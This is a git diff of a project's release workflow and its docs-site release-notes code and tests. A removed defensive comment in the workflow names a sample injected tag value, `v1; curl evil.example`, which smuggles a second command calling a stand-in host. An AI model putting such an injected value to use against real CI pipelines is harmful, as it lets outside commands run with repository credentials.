name: Promote ${{ inputs.beta_tag || 'newest beta' }} to stable
needs: read-bumps
@@ -337,130 +347,33 @@ jobs:
origin: https://openknowledge.ai
evidence-name: share-contract-promote-${{ github.run_id }}-${{ github.run_attempt }}
- - name: Tag stable at beta SHA
- if: steps.ver.outputs.skip != 'true'
- env:
- GH_TOKEN: ${{ steps.app-token.outputs.token }}
- STABLE_TAG: ${{ steps.ver.outputs.stable_tag }}
- BETA_SHA: ${{ steps.ver.outputs.beta_sha }}
- run: |
- set -euo pipefail
- git config user.name "github-actions[bot]"
- git config user.email "41898282+github-actions[bot]@users.noreply.github.com"
-
- # Idempotency: a re-run after a transient failure should not
- # explode if the tag already exists.
- if git rev-parse "refs/tags/${STABLE_TAG}" >/dev/null 2>&1; then
- EXISTING=$(git rev-parse "refs/tags/${STABLE_TAG}")
- if [[ "$EXISTING" != "$BETA_SHA" ]]; then
- echo "::error::Stable tag ${STABLE_TAG} already exists at ${EXISTING} (expected ${BETA_SHA}). Refusing to retag."
- exit 1
- fi
- echo "Tag ${STABLE_TAG} already at ${BETA_SHA}; skipping git tag step."
- else
- git tag "$STABLE_TAG" "$BETA_SHA"
- # shellcheck disable=SC2016
- git -c credential.helper= \
- -c 'credential.helper=!f() { test "$1" = get || return 0; echo username=x-access-token; echo "password=$GH_TOKEN"; }; f' \
- push origin "$STABLE_TAG"
- fi
-
- - name: Aggregate beta release bodies since previous stable
+ - name: Render release notes from the stable's changesets
id: changelog
if: steps.ver.outputs.skip != 'true'
env:
GH_TOKEN: ${{ steps.app-token.outputs.token }}
STABLE_TAG: ${{ steps.ver.outputs.stable_tag }}
BETA_SHA: ${{ steps.ver.outputs.beta_sha }}
- # Pass the resolved beta tag via env to keep ${{ }} expression
- # interpolation out of the run: block — direct ${{ }} substitution
- # in shell is a script-injection foothold (a malicious tag value
- # like `v1; curl evil.example` would expand textually before bash
- # parsed the printf invocation). Defense-in-depth even though
- # dispatching this workflow requires repo write access.
- BETA_TAG_INPUT: ${{ steps.resolve.outputs.beta_tag }}
+ NOTE_LEVELS: ${{ needs.read-bumps.outputs.note_levels }}
run: |
set -euo pipefail
BODY_FILE=$(mktemp)
+ node scripts/render-stable-notes.mjs --commit "$BETA_SHA" --exclude-tag "$STABLE_TAG" > "$BODY_FILE"
- # Resolve the previous stable tag (most recent tag matching v*.*.*
- # without -beta suffix, ancestor of the beta SHA). May be empty for
- # the first-ever stable.
- PREV_STABLE=$(git tag --list 'v*' --sort=-version:refname \
- --merged "$BETA_SHA" \
- | grep -E '^v[0-9]+\.[0-9]+\.[0-9]+$' \
- | grep -v "^${STABLE_TAG}$" \
- | head -n 1 || true)
-
- # Betas whose changes are in this stable = beta tags reachable from the
- # promoted beta SHA but NOT from the previous stable. Under delta
- # versioning the promoted beta's NAME (e.g. v0.30.1-beta.6) no longer
- # matches the computed stable version (e.g. 0.30.2), so we range by
- # commit ancestry (--merged/--no-merged), not a name glob.
- if [[ -n "$PREV_STABLE" ]]; then
- echo "Aggregating betas reachable from ${BETA_TAG_INPUT} but not ${PREV_STABLE}"
- BETA_TAGS_IN_RANGE=$(git tag --list 'v*-beta.*' --merged "$BETA_SHA" --no-merged "$PREV_STABLE" --sort=version:refname | grep -E '^v[0-9]+\.[0-9]+\.[0-9]+-beta\.[0-9]+$' || true)
- else
- echo "No previous stable tag; aggregating all betas reachable from ${BETA_TAG_INPUT}"
- BETA_TAGS_IN_RANGE=$(git tag --list 'v*-beta.*' --merged "$BETA_SHA" --sort=version:refname | grep -E '^v[0-9]+\.[0-9]+\.[0-9]+-beta\.[0-9]+$' || true)
- fi
-
- # Under the zero-commit-bump cadence, beta release bodies are the
- # source of truth — packages/*/CHANGELOG.md no longer accumulates
- # per-beta entries (only per-stable, written by main-reset's
- # `pnpm exec changeset version` at promotion time). Each beta body carries
- # ONLY the delta introduced in that beta (compute-next-beta.mjs filters
- # against the prior beta's embedded consumed-set marker), so the cycle's
- # betas concatenated are a clean, duplication-free set of the changes
- # this stable ships.
- #
- # aggregate-stable-changelog.mjs regroups that concatenation into one
- # section per bump level (Major/Minor/Patch, empty levels omitted) and
- # emits no preamble of its own: the GitHub Release title already carries
- # the version, and under delta versioning the promoted beta's name no
- # longer equals the stable version, so the old "## X.Y.Z / Stable
- # promotion of beta … / Aggregated changes since previous stable" header
- # was both redundant and inaccurate. The script also drops the internal
- # `<!-- ok-consumed-set: … -->` markers and the per-beta "Delta since
- # previous beta" / "First beta of the cycle" lead lines.
- RAW_BODIES=$(mktemp)
- UNAVAILABLE=""
- for tag in $BETA_TAGS_IN_RANGE; do
- if BODY=$(gh release view "$tag" --json body --jq .body 2>/dev/null) && [[ -n "$BODY" ]]; then
- printf '%s\n\n' "$BODY" >> "$RAW_BODIES"
- else
- UNAVAILABLE="${UNAVAILABLE:+$UNAVAILABLE, }${tag}"
- fi
- done
-
- node scripts/aggregate-stable-changelog.mjs < "$RAW_BODIES" > "$BODY_FILE"
-
- # A stable with no resolvable beta changelog (no betas in range, or
- # every body empty/unavailable) still needs a non-empty release body.
if [[ ! -s "$BODY_FILE" ]]; then
printf 'No changelog entries.\n' > "$BODY_FILE"
fi
- # Surface any beta whose body could not be fetched so its changes are
- # not silently missing from the aggregated notes.
- if [[ -n "$UNAVAILABLE" ]]; then
- printf '\n_Release body unavailable for: %s — see the per-beta releases for those changes._\n' "$UNAVAILABLE" >> "$BODY_FILE"
- fi
-
- # GitHub rejects release bodies over 125,000 chars with HTTP 422.
- # A long beta cycle (dozens of betas, each contributing its delta)
- # can blow past that. Cap with margin and point readers at the full
- # per-beta history rather than failing the whole promotion.
MAX_BODY=120000
if [[ $(wc -c < "$BODY_FILE") -gt $MAX_BODY ]]; then
- echo "Aggregated body $(wc -c < "$BODY_FILE") chars exceeds ${MAX_BODY}; truncating."
+ echo "Release notes are $(wc -c < "$BODY_FILE") chars, over ${MAX_BODY}; truncating."
TRUNC=$(mktemp)
# Cut at MAX_BODY bytes, then drop the (now-partial) last line.
head -c "$MAX_BODY" "$BODY_FILE" | sed '$d' > "$TRUNC"
{
printf '\n\n---\n\n'
printf '_Changelog truncated to fit GitHub'\''s 125,000-character release-body limit. '
- printf 'Full per-beta history: https://github.com/%s/releases_\n' "$GITHUB_REPOSITORY"
+ printf 'The notes for every release are at https://github.com/%s/releases_\n' "$GITHUB_REPOSITORY"
} >> "$TRUNC"
mv "$TRUNC" "$BODY_FILE"
fi
@@ -470,6 +383,34 @@ jobs:
cat "$BODY_FILE"
echo "------------------------------"
+ - name: Tag stable at beta SHA
+ if: steps.ver.outputs.skip != 'true'
+ env:
+ GH_TOKEN: ${{ steps.app-token.outputs.token }}
+ STABLE_TAG: ${{ steps.ver.outputs.stable_tag }}
+ BETA_SHA: ${{ steps.ver.outputs.beta_sha }}
+ run: |
+ set -euo pipefail
+ git config user.name "github-actions[bot]"
+ git config user.email "41898282+github-actions[bot]@users.noreply.github.com"
+
+ # Idempotency: a re-run after a transient failure should not
+ # explode if the tag already exists.
+ if git rev-parse "refs/tags/${STABLE_TAG}" >/dev/null 2>&1; then
+ EXISTING=$(git rev-parse "refs/tags/${STABLE_TAG}")
+ if [[ "$EXISTING" != "$BETA_SHA" ]]; then
+ echo "::error::Stable tag ${STABLE_TAG} already exists at ${EXISTING} (expected ${BETA_SHA}). Refusing to retag."
+ exit 1
+ fi
+ echo "Tag ${STABLE_TAG} already at ${BETA_SHA}; skipping git tag step."
+ else
+ git tag "$STABLE_TAG" "$BETA_SHA"
+ # shellcheck disable=SC2016
+ git -c credential.helper= \
+ -c 'credential.helper=!f() { test "$1" = get || return 0; echo username=x-access-token; echo "password=$GH_TOKEN"; }; f' \
+ push origin "$STABLE_TAG"
+ fi
+
- name: Create stable GitHub Release
if: steps.ver.outputs.skip != 'true'
env:
diff --git a/docs/src/lib/releases.test.ts b/docs/src/lib/releases.test.ts
index 7bf92cfa5..72e4af885 100644
--- a/docs/src/lib/releases.test.ts
+++ b/docs/src/lib/releases.test.ts
@@ -1,5 +1,20 @@
-import { describe, expect, test } from 'vitest';
-import { collectDates, fetchReleaseDates, parseChangelog } from './releases.ts';
+import { readFileSync } from 'node:fs';
+import { join } from 'node:path';
+import { describe, expect, test, vi } from 'vitest';
+import {
+ collectDates,
+ collectMarkedNotes,
+ cutoverOf,
+ fetchReleaseFeed,
+ loadStableReleases,
+ markedNotes,
+ mergeReleaseNotes,
+ NOTES_SOURCE_MARKER,
+ newMarkedNotesScan,
+ parseChangelog,
+ passedCutover,
+ releaseNotesFrom,
+} from './releases.ts';
const SAMPLE = `# @inkeep/open-knowledge
@@ -67,10 +82,24 @@ describe('parseChangelog', () => {
function apiRelease(
tag: string,
- opts: { draft?: boolean; prerelease?: boolean; published_at?: string | null } = {},
+ opts: {
+ draft?: boolean;
+ prerelease?: boolean;
+ published_at?: string | null;
+ created_at?: string;
+ body?: string;
+ } = {},
) {
- const { draft = false, prerelease = false, published_at = '2026-07-01T00:00:00Z' } = opts;
- return { tag_name: tag, draft, prerelease, published_at };
+ const { draft = false, prerelease = false, published_at = '2026-07-01T00:00:00Z', body } = opts;
+ const created_at = opts.created_at ?? published_at ?? '2026-07-01T00:00:00Z';
+ return {
+ tag_name: tag,
+ draft,
+ prerelease,
+ created_at,
+ published_at,
+ ...(body === undefined ? {} : { body }),
+ };
}
describe('collectDates', () => {
@@ -114,34 +143,453 @@ const json = (data: unknown) => new Response(JSON.stringify(data), { status: 200
const fullPage = (page: number) =>
Array.from({ length: 100 }, (_, i) => apiRelease(`v9.${page}.${i}`, { prerelease: i > 0 }));
-describe('fetchReleaseDates (best-effort)', () => {
- test('paginates until it has enough stable dates, then stops', async () => {
- const dates = await fetchReleaseDates(
- 2,
- mockFetch((p) => json(fullPage(p))),
- );
- expect(dates.size).toBe(2);
+describe('fetchReleaseFeed dates (best-effort)', () => {
+ test('keeps only as many stable dates as asked for', async () => {
+ const feed = await fetchReleaseFeed({
+ dateLimit: 2,
+ changelogTags: new Set(),
+ fetchImpl: mockFetch((p) => json(fullPage(p))),
+ });
+ expect(feed.dates.size).toBe(2);
});
test('stops on a short (final) page', async () => {
- const dates = await fetchReleaseDates(
- 30,
- mockFetch(() => json([apiRelease('v1.0.0')])),
- );
- expect(dates.size).toBe(1);
+ const feed = await fetchReleaseFeed({
+ changelogTags: new Set(),
+ fetchImpl: mockFetch(() => json([apiRelease('v1.0.0')])),
+ });
+ expect(feed.dates.size).toBe(1);
});
test('degrades to empty on HTTP error — never throws', async () => {
- const dates = await fetchReleaseDates(
- 30,
- mockFetch(() => new Response('nope', { status: 500 })),
- );
- expect(dates.size).toBe(0);
+ const feed = await fetchReleaseFeed({
+ changelogTags: new Set(),
+ fetchImpl: mockFetch(() => new Response('nope', { status: 500 })),
+ });
+ expect(feed.dates.size).toBe(0);
});
test('degrades to empty on a network throw — never throws', async () => {
- const dates = await fetchReleaseDates(30, (() =>
- Promise.reject(new Error('offline'))) as never);
- expect(dates.size).toBe(0);
+ const warn = vi.spyOn(console, 'warn').mockImplementation(() => {});
+ const feed = await fetchReleaseFeed({
+ changelogTags: new Set(),
+ fetchImpl: (() => Promise.reject(new Error('offline'))) as never,
+ });
+ expect(feed.dates.size).toBe(0);
+ warn.mockRestore();
+ });
+});
+
+const DOWNLOADS =
+ '<!-- ok-downloads:start -->\n## Downloads\n\n| a | b |\n| --- | --- |\n<!-- ok-downloads:end -->';
+const marked = (notes: string) => `${notes}\n\n${NOTES_SOURCE_MARKER}\n\n${DOWNLOADS}\n`;
+
+describe('markedNotes', () => {
+ test('is the body before the notes-source marker, without the Downloads block', () => {
+ expect(markedNotes(marked('### Patch Changes\n\n- A fix.'))).toBe(
+ '### Patch Changes\n\n- A fix.',
+ );
+ expect(
+ markedNotes(
+ `### Patch Changes\n\n- A fix.\n\n${NOTES_SOURCE_MARKER}\n\nPoint release over v1.0.0.`,
+ ),
+ ).toBe('### Patch Changes\n\n- A fix.');
+ });
+
+ test('is null for a body without the marker, so the version keeps its CHANGELOG.md notes', () => {
+ expect(markedNotes(`### Patch Changes\n\n- A fix.\n\n${DOWNLOADS}\n`)).toBeNull();
+ expect(markedNotes('')).toBeNull();
+ });
+});
+
+const day = (n: number) => new Date(Date.UTC(2026, 9, 1) - n * 86_400_000).toISOString();
+
+describe('collectMarkedNotes', () => {
+ test('keeps every marked stable body and takes the highest unmarked CHANGELOG stable published before them as the cutover', () => {
+ const scan = newMarkedNotesScan();
+ collectMarkedNotes(
+ [
+ apiRelease('v0.88.0', { draft: true, body: marked('- Draft.') }),
+ apiRelease('v0.88.0-beta.1', { prerelease: true, body: marked('- Beta.') }),
+ apiRelease('v0.87.1', { body: marked('- Newest.'), published_at: day(0) }),
+ apiRelease('v0.87.0', {
+ body: 'A revert point release, unmarked and not in CHANGELOG.md.',
+ published_at: day(1),
+ }),
+ apiRelease('v0.86.11', { body: '- Covered, below the cutover.', published_at: day(5) }),
+ apiRelease('v0.86.13', { body: marked('- Older.'), published_at: day(2) }),
+ apiRelease('v0.86.12', { body: '- From before the cutover.', published_at: day(3) }),
+ ],
+ scan,
+ new Set(['v0.86.12', 'v0.86.11']),
+ );
+ expect([...scan.notes]).toEqual([
+ ['v0.87.1', '- Newest.'],
+ ['v0.86.13', '- Older.'],
+ ]);
+ expect(cutoverOf(scan)).toEqual({ tag: 'v0.86.12', publishedAt: Date.parse(day(3)) });
+ });
+
+ test('an unmarked CHANGELOG stable published after a marked body is never the cutover', () => {
+ const scan = newMarkedNotesScan();
+ collectMarkedNotes(
+ [
+ apiRelease('v0.90.1', { body: '- Revert, unmarked.', published_at: day(1) }),
+ apiRelease('v0.90.0', { body: marked('- Ninety.'), published_at: day(3) }),
+ ],
+ scan,
+ new Set(['v0.90.1']),
+ );
+ expect(cutoverOf(scan)).toBeNull();
+ });
+
+ test('tolerates malformed entries and payloads', () => {
+ const scan = newMarkedNotesScan();
+ collectMarkedNotes([null, 42, { tag_name: 5 }, apiRelease('v1.0.0')], scan, new Set());
+ collectMarkedNotes('not-an-array', scan, new Set());
+ expect(scan.notes.size).toBe(0);
+ expect(cutoverOf(scan)).toBeNull();
+ });
+});
+
+describe('passedCutover', () => {
+ test('holds once the scan reaches releases created 14 days before the cutover was published', () => {
+ const scan = newMarkedNotesScan();
+ const covered = new Set(['v1.0.0']);
+ collectMarkedNotes([apiRelease('v1.0.0', { published_at: day(0) })], scan, covered);
+ collectMarkedNotes(
+ [apiRelease('v0.9.0-beta.0', { prerelease: true, created_at: day(13) })],
+ scan,
+ covered,
+ );
+ expect(passedCutover(scan)).toBe(false);
+ collectMarkedNotes(
+ [apiRelease('v0.9.0-beta.1', { prerelease: true, created_at: day(15) })],
+ scan,
+ covered,
+ );
+ expect(passedCutover(scan)).toBe(true);
+ });
+
+ test('never holds without an unmarked stable the CHANGELOG covers', () => {
+ const scan = newMarkedNotesScan();
+ collectMarkedNotes(
+ [apiRelease('v2.0.0', { body: marked('- x'), created_at: day(400) })],
+ scan,
+ new Set(['v1.0.0']),
+ );
+ expect(passedCutover(scan)).toBe(false);
+ });
+});
+
+function pagedFetch(pages: unknown[][], status: (page: number) => number = () => 200) {
+ const requested: number[] = [];
+ const impl = ((url: string | URL) => {
+ const page = Number(/[?&]page=(\d+)/.exec(String(url))?.[1] ?? '1');
+ requested.push(page);
+ const code = status(page);
+ return Promise.resolve(
+ code === 200
+ ? new Response(JSON.stringify(pages[page - 1] ?? []), { status: 200 })
+ : new Response('no', { status: code }),
+ );
+ }) as unknown as typeof fetch;
+ return { impl, requested };
+}
+
+const betas = (page: number, count: number) =>
+ Array.from({ length: count }, (_, i) =>
+ apiRelease(`v9.${page}.${i}-beta.0`, { prerelease: true }),
+ );
+
+const betasCreated = (page: number, count: number, createdDay: number) =>
+ Array.from({ length: count }, (_, i) =>
+ apiRelease(`v9.${page}.${i}-beta.0`, { prerelease: true, created_at: day(createdDay) }),
+ );
+
+describe('fetchReleaseFeed', () => {
+ test('pages past the date limit until it is 14 days below the newest unmarked CHANGELOG stable', async () => {
+ const pages = [
+ [
+ apiRelease('v0.90.0', { body: marked('- Ninety.'), published_at: day(0) }),
+ ...betasCreated(1, 99, 1),
+ ],
+ [
+ apiRelease('v0.89.0', { body: marked('- Eighty-nine.'), published_at: day(2) }),
+ ...betasCreated(2, 99, 3),
+ ],
+ [
+ apiRelease('v0.88.0', { body: '- Before the marker.', published_at: day(9) }),
+ ...betasCreated(3, 99, 10),
+ ],
+ [
+ apiRelease('v0.87.0', { body: '- Old.', published_at: day(20) }),
+ ...betasCreated(4, 99, 25),
+ ],
+ [apiRelease('v0.86.0', { body: marked('- Not read.') }), ...betasCreated(5, 99, 30)],
+ ];
+ const { impl, requested } = pagedFetch(pages);
+ const feed = await fetchReleaseFeed({
+ dateLimit: 1,
+ changelogTags: new Set(['v0.88.0', 'v0.87.0']),
+ fetchImpl: impl,
+ });
+ expect(requested).toEqual([1, 2, 3, 4]);
+ expect([...feed.dates.keys()]).toEqual(['v0.90.0']);
+ expect([...feed.notes.keys()]).toEqual(['v0.90.0', 'v0.89.0']);
+ expect(feed.notesComplete).toBe(true);
+ expect(feed.failure).toBeNull();
+ });
+
+ test('a revert or truncated stable published after marked bodies does not end the scan before them', async () => {
+ const pages = [
+ [
+ apiRelease('v0.90.1', {
+ body: '- Revert point release, unmarked.',
+ created_at: day(1),
+ published_at: day(1),
+ }),
+ ...betasCreated(1, 99, 2),
+ ],
+ [
+ apiRelease('v0.90.0', {
+ body: marked('- Ninety.'),
+ created_at: day(4),
+ published_at: day(3),
+ }),
+ ...betasCreated(2, 99, 16),
+ ],
+ [
+ apiRelease('v0.89.0', {
+ body: marked('- Eighty-nine.'),
+ created_at: day(17),
+ published_at: day(16),
+ }),
+ ...betasCreated(3, 99, 30),
+ ],
+ [
+ apiRelease('v0.88.0', {
+ body: '- Before the marker.',
+ created_at: day(31),
+ published_at: day(30),
+ }),
+ ...betasCreated(4, 99, 50),
+ ],
+ [apiRelease('v0.87.0', { body: marked('- Not read.') }), ...betasCreated(5, 99, 60)],
+ ];
+ const { impl, requested } = pagedFetch(pages);
+ const feed = await fetchReleaseFeed({
+ dateLimit: 1,
+ changelogTags: new Set(['v0.90.1', 'v0.88.0']),
+ fetchImpl: impl,
+ });
+ expect(requested).toEqual([1, 2, 3, 4]);
+ expect([...feed.notes.keys()]).toEqual(['v0.90.0', 'v0.89.0']);
+ expect(feed.notesComplete).toBe(true);
+ });
+
+ test('a newer marked stable listed after an unmarked point release is still read', async () => {
+ const pages = [
+ [
+ apiRelease('v0.90.1', {
+ body: '- Revert point release, unmarked.',
+ created_at: day(1),
+ published_at: day(1),
+ }),
+ ...betasCreated(1, 99, 1),
+ ],
+ [
+ apiRelease('v0.91.0', {
+ body: marked('- Promoted after the point release.'),
+ created_at: day(2),
+ published_at: day(0),
+ }),
+ apiRelease('v0.90.0', {
+ body: marked('- Ninety.'),
+ created_at: day(5),
+ published_at: day(4),
+ }),
+ ...betasCreated(2, 98, 6),
+ ],
+ [
+ apiRelease('v0.89.0', { body: '- Before the marker.', published_at: day(7) }),
+ ...betasCreated(3, 99, 30),
+ ],
+ betasCreated(4, 100, 40),
+ ];
+ const { impl, requested } = pagedFetch(pages);
+ const feed = await fetchReleaseFeed({
+ dateLimit: 1,
+ changelogTags: new Set(['v0.90.1', 'v0.89.0']),
+ fetchImpl: impl,
+ });
+ expect(requested).toEqual([1, 2, 3]);
+ expect([...feed.notes.keys()]).toEqual(['v0.91.0', 'v0.90.0']);
+ expect(feed.notesComplete).toBe(true);
+ });
+
+ test('a short final page completes the notes even with no unmarked stable', async () => {
+ const { impl } = pagedFetch([[apiRelease('v1.0.0', { body: marked('- One.') })]]);
+ const feed = await fetchReleaseFeed({ changelogTags: new Set(), fetchImpl: impl });
+ expect(feed.notesComplete).toBe(true);
+ expect([...feed.notes.keys()]).toEqual(['v1.0.0']);
+ });
+
+ test('an HTTP error before the cutover leaves the notes incomplete and names the page and status', async () => {
+ const { impl } = pagedFetch(
+ [[apiRelease('v1.1.0', { body: marked('- New.') }), ...betas(1, 99)]],
+ (page) => (page === 2 ? 502 : 200),
+ );
+ const feed = await fetchReleaseFeed({ changelogTags: new Set(['v1.0.0']), fetchImpl: impl });
+ expect(feed.notesComplete).toBe(false);
+ expect(feed.failure).toBe('page 2 returned HTTP 502');
+ expect([...feed.dates.keys()]).toEqual(['v1.1.0']);
+ });
+
+ test('a 200 that is not a list of releases leaves the notes incomplete', async () => {
+ const impl = (() =>
+ Promise.resolve(json({ message: 'API rate limit exceeded' }))) as unknown as typeof fetch;
+ const feed = await fetchReleaseFeed({ changelogTags: new Set(['v1.0.0']), fetchImpl: impl });
+ expect(feed.notesComplete).toBe(false);
+ expect(feed.failure).toBe('page 1 returned a body that is not a list of releases');
+ });
+
+ test('stops at the page cap without passing the cutover, and says the notes are incomplete', async () => {
+ const { impl, requested } = pagedFetch(
+ Array.from({ length: 30 }, (_, i) => [
+ apiRelease(`v2.${i}.0`, { body: marked('- x') }),
+ ...betas(i, 99),
+ ]),
+ );
+ const feed = await fetchReleaseFeed({ changelogTags: new Set(['v1.0.0']), fetchImpl: impl });
+ expect(requested).toHaveLength(20);
+ expect(feed.notesComplete).toBe(false);
+ expect(feed.failure).toBe('stopped at the 20-page cap');
+ });
+
+ test('a network throw leaves the notes incomplete and never throws', async () => {
+ const warn = vi.spyOn(console, 'warn').mockImplementation(() => {});
+ const feed = await fetchReleaseFeed({
+ changelogTags: new Set(['v1.0.0']),
+ fetchImpl: (() => Promise.reject(new Error('offline'))) as never,
+ });
+ expect(feed).toEqual({
+ dates: new Map(),
+ notes: new Map(),
+ notesComplete: false,
+ failure: 'offline',
+ });
+ warn.mockRestore();
+ });
+});
+
+describe('releaseNotesFrom', () => {
+ test('passes complete notes through and drops incomplete ones with a warning', () => {
+ const notes = new Map([['v1.0.0', '- One.']]);
+ expect(releaseNotesFrom({ dates: new Map(), notes, notesComplete: true, failure: null })).toBe(
+ notes,
+ );
+ const warn = vi.spyOn(console, 'warn').mockImplementation(() => {});
+ expect(
+ releaseNotesFrom({
+ dates: new Map(),
+ notes,
+ notesComplete: false,
+ failure: 'page 2 returned HTTP 403',
+ }).size,
+ ).toBe(0);
+ expect(warn).toHaveBeenCalledWith(
+ expect.stringMatching(/\(page 2 returned HTTP 403\).*CHANGELOG\.md notes only/),
+ );
+ warn.mockRestore();
+ });
+});
+
+describe('mergeReleaseNotes', () => {
+ const changelog = parseChangelog(SAMPLE);
+
+ test('with no marked notes it returns the CHANGELOG releases untouched', () => {
+ expect(mergeReleaseNotes(changelog, new Map(), new Map())).toBe(changelog);
+ });
+
+ test('a marked body replaces that version and adds new ones, newest version first', () => {
+ const dates = new Map([['v0.36.0', '2026-08-01T00:00:00Z']]);
+ const out = mergeReleaseNotes(
+ changelog,
+ new Map([
+ ['v0.36.0', '### Patch Changes\n\n- From the tag.'],
+ ['v0.34.0', '### Patch Changes\n\n- Corrected in the Release body.'],
+ ['v0.10.0', '### Patch Changes\n\n- Sorted by version, not text.'],
+ ]),
+ dates,
+ );
+ expect(out.map((r) => r.tag)).toEqual(['v0.36.0', 'v0.35.0', 'v0.34.0', 'v0.10.0', 'v0.9.1']);
+ expect(out[0]).toEqual({
+ tag: 'v0.36.0',
+ title: 'v0.36.0',
+ publishedAt: '2026-08-01T00:00:00Z',
+ bodyHtml: expect.stringContaining('<li>From the tag.</li>'),
+ htmlUrl: 'https://github.com/inkeep/open-knowledge/releases/tag/v0.36.0',
+ });
+ expect(out[2]?.bodyHtml).toContain('Corrected in the Release body.');
+ expect(out[2]?.bodyHtml).not.toContain('95380ab');
+ expect(out[1]).toBe(changelog[0]);
+ });
+});
+
+describe('loadStableReleases', () => {
+ const realChangelog = readFileSync(
+ join(process.cwd(), '..', 'packages', 'cli', 'CHANGELOG.md'),
+ 'utf8',
+ );
+ const changelogTags = realChangelog
+ .split('\n')
+ .flatMap((line) => /^## (\d+\.\d+\.\d+)\s*$/.exec(line)?.slice(1) ?? [])
+ .map((version) => `v${version}`);
+ const unmarkedPages = () => {
+ const releases = changelogTags.flatMap((tag, i) => [
+ apiRelease(`${tag}-beta.0`, { prerelease: true, body: 'Beta.' }),
+ apiRelease(tag, {
+ body: `### Patch Changes\n\n- Unmarked ${i}.\n\n${DOWNLOADS}\n`,
+ published_at: `2026-01-01T00:00:${String(i % 60).padStart(2, '0')}Z`,
+ }),
+ ]);
+ return Array.from({ length: Math.ceil(releases.length / 100) }, (_, i) =>
+ releases.slice(i * 100, i * 100 + 100),
+ );
+ };
+
+ test('with no marked Release body it renders exactly what CHANGELOG.md alone renders today', async () => {
+ const pages = unmarkedPages();
+ const out = await loadStableReleases(undefined, { fetchImpl: pagedFetch(pages).impl });
+ const dates = new Map<string, string>();
+ for (const page of pages.slice(0, 5)) collectDates(page, dates, 30);
+ expect(out).toEqual(parseChangelog(realChangelog, dates));
+ expect(dates.size).toBe(30);
+ });
+
+ test('a marked stable shows its Release body; every other version keeps its CHANGELOG.md notes', async () => {
+ const pages = unmarkedPages();
+ pages[0]?.unshift(
+ apiRelease('v99.0.0', { body: marked('### Minor Changes\n\n- From the stable tag.') }),
+ );
+ const out = await loadStableReleases(undefined, { fetchImpl: pagedFetch(pages).impl });
+ expect(out[0]?.tag).toBe('v99.0.0');
+ expect(out[0]?.bodyHtml).toContain('<li>From the stable tag.</li>');
+ expect(out[0]?.bodyHtml).not.toContain('Downloads');
+ const changelogOnly = parseChangelog(realChangelog, new Map());
+ expect(out.slice(1).map((r) => [r.tag, r.bodyHtml])).toEqual(
+ changelogOnly.map((r) => [r.tag, r.bodyHtml]),
+ );
+ });
+
+ test('when the Release bodies cannot be read it falls back to CHANGELOG.md alone', async () => {
+ const warn = vi.spyOn(console, 'warn').mockImplementation(() => {});
+ const out = await loadStableReleases(undefined, {
+ fetchImpl: pagedFetch([], () => 503).impl,
+ });
+ expect(out).toEqual(parseChangelog(realChangelog, new Map()));
+ expect(warn).toHaveBeenCalledWith(expect.stringMatching(/CHANGELOG\.md notes only/));
+ warn.mockRestore();
});
});
diff --git a/docs/src/lib/releases.ts b/docs/src/lib/releases.ts
index a32e11a15..1e636c7a4 100644
--- a/docs/src/lib/releases.ts
+++ b/docs/src/lib/releases.ts
@@ -10,8 +10,20 @@ const PER_PAGE = 100;
const MAX_DATE_PAGES = 5;
+const MAX_RELEASE_PAGES = 20;
+
const DATE_LIMIT = 30;
+const RELEASE_NOTES_REQUIRED = false;
+
+const NOTES_LAG_MS = 14 * 24 * 60 * 60 * 1000;
+
+export const NOTES_SOURCE_MARKER = '<!-- ok-notes-source: stable-tag-tree -->';
+
+const DOWNLOADS_BLOCK = /<!-- ok-downloads:start -->[\s\S]*?<!-- ok-downloads:end -->/g;
+
+const STABLE_TAG = /^v(\d+)\.(\d+)\.(\d+)$/;
+
const CHANGELOG_PATH = join(process.cwd(), '..', 'packages', 'cli', 'CHANGELOG.md');
export interface ReleaseNote {
@@ -81,11 +93,110 @@ export function collectDates(payload: unknown, dates: Map<string, string>, limit
}
}
-export async function fetchReleaseDates(
- limit = DATE_LIMIT,
- fetchImpl: typeof fetch = fetch,
-): Promise<Map<string, string>> {
+export function markedNotes(body: string): string | null {
+ const marker = body.indexOf(NOTES_SOURCE_MARKER);
+ if (marker === -1) return null;
+ return body.slice(0, marker).replace(DOWNLOADS_BLOCK, '').trim();
+}
+
+interface PublishedStable {
+ tag: string;
+ publishedAt: number;
+}
+
+export interface MarkedNotesScan {
+ notes: Map<string, string>;
+ unmarkedCovered: PublishedStable[];
+ earliestMarkedAt: number;
+ oldestCreatedAt: number;
+}
+
+export function newMarkedNotesScan(): MarkedNotesScan {
+ return {
+ notes: new Map(),
+ unmarkedCovered: [],
+ earliestMarkedAt: Number.POSITIVE_INFINITY,
+ oldestCreatedAt: Number.POSITIVE_INFINITY,
+ };
+}
+
+function versionOf(tag: string): number[] {
+ return STABLE_TAG.exec(tag)?.slice(1).map(Number) ?? [0, 0, 0];
+}
+
+function compareVersions(a: string, b: string): number {
+ const pa = versionOf(a);
+ const pb = versionOf(b);
+ for (let i = 0; i < 3; i++) {
+ const delta = (pa[i] ?? 0) - (pb[i] ?? 0);
+ if (delta !== 0) return delta;
+ }
+ return 0;
+}
+
+export function collectMarkedNotes(
+ payload: unknown,
+ scan: MarkedNotesScan,
+ changelogTags: ReadonlySet<string>,
+): void {
+ if (!Array.isArray(payload)) return;
+ for (const entry of payload) {
+ if (!entry || typeof entry !== 'object') continue;
+ const rec = entry as Record<string, unknown>;
+ const createdAt = typeof rec.created_at === 'string' ? Date.parse(rec.created_at) : Number.NaN;
+ if (Number.isFinite(createdAt))
+ scan.oldestCreatedAt = Math.min(scan.oldestCreatedAt, createdAt);
+ if (rec.draft || rec.prerelease) continue;
+ const tag = rec.tag_name;
+ if (typeof tag !== 'string' || !STABLE_TAG.test(tag)) continue;
+ const publishedAt =
+ typeof rec.published_at === 'string' ? Date.parse(rec.published_at) : Number.NaN;
+ const notes = typeof rec.body === 'string' ? markedNotes(rec.body) : null;
+ if (notes !== null) {
+ if (!scan.notes.has(tag)) scan.notes.set(tag, notes);
+ if (Number.isFinite(publishedAt)) {
+ scan.earliestMarkedAt = Math.min(scan.earliestMarkedAt, publishedAt);
+ }
+ } else if (changelogTags.has(tag) && Number.isFinite(publishedAt)) {
+ scan.unmarkedCovered.push({ tag, publishedAt });
+ }
+ }
+}
+
+export function cutoverOf(scan: MarkedNotesScan): PublishedStable | null {
+ let cutover: PublishedStable | null = null;
+ for (const release of scan.unmarkedCovered) {
+ if (release.publishedAt >= scan.earliestMarkedAt) continue;
+ if (cutover === null || compareVersions(release.tag, cutover.tag) > 0) cutover = release;
+ }
+ return cutover;
+}
+
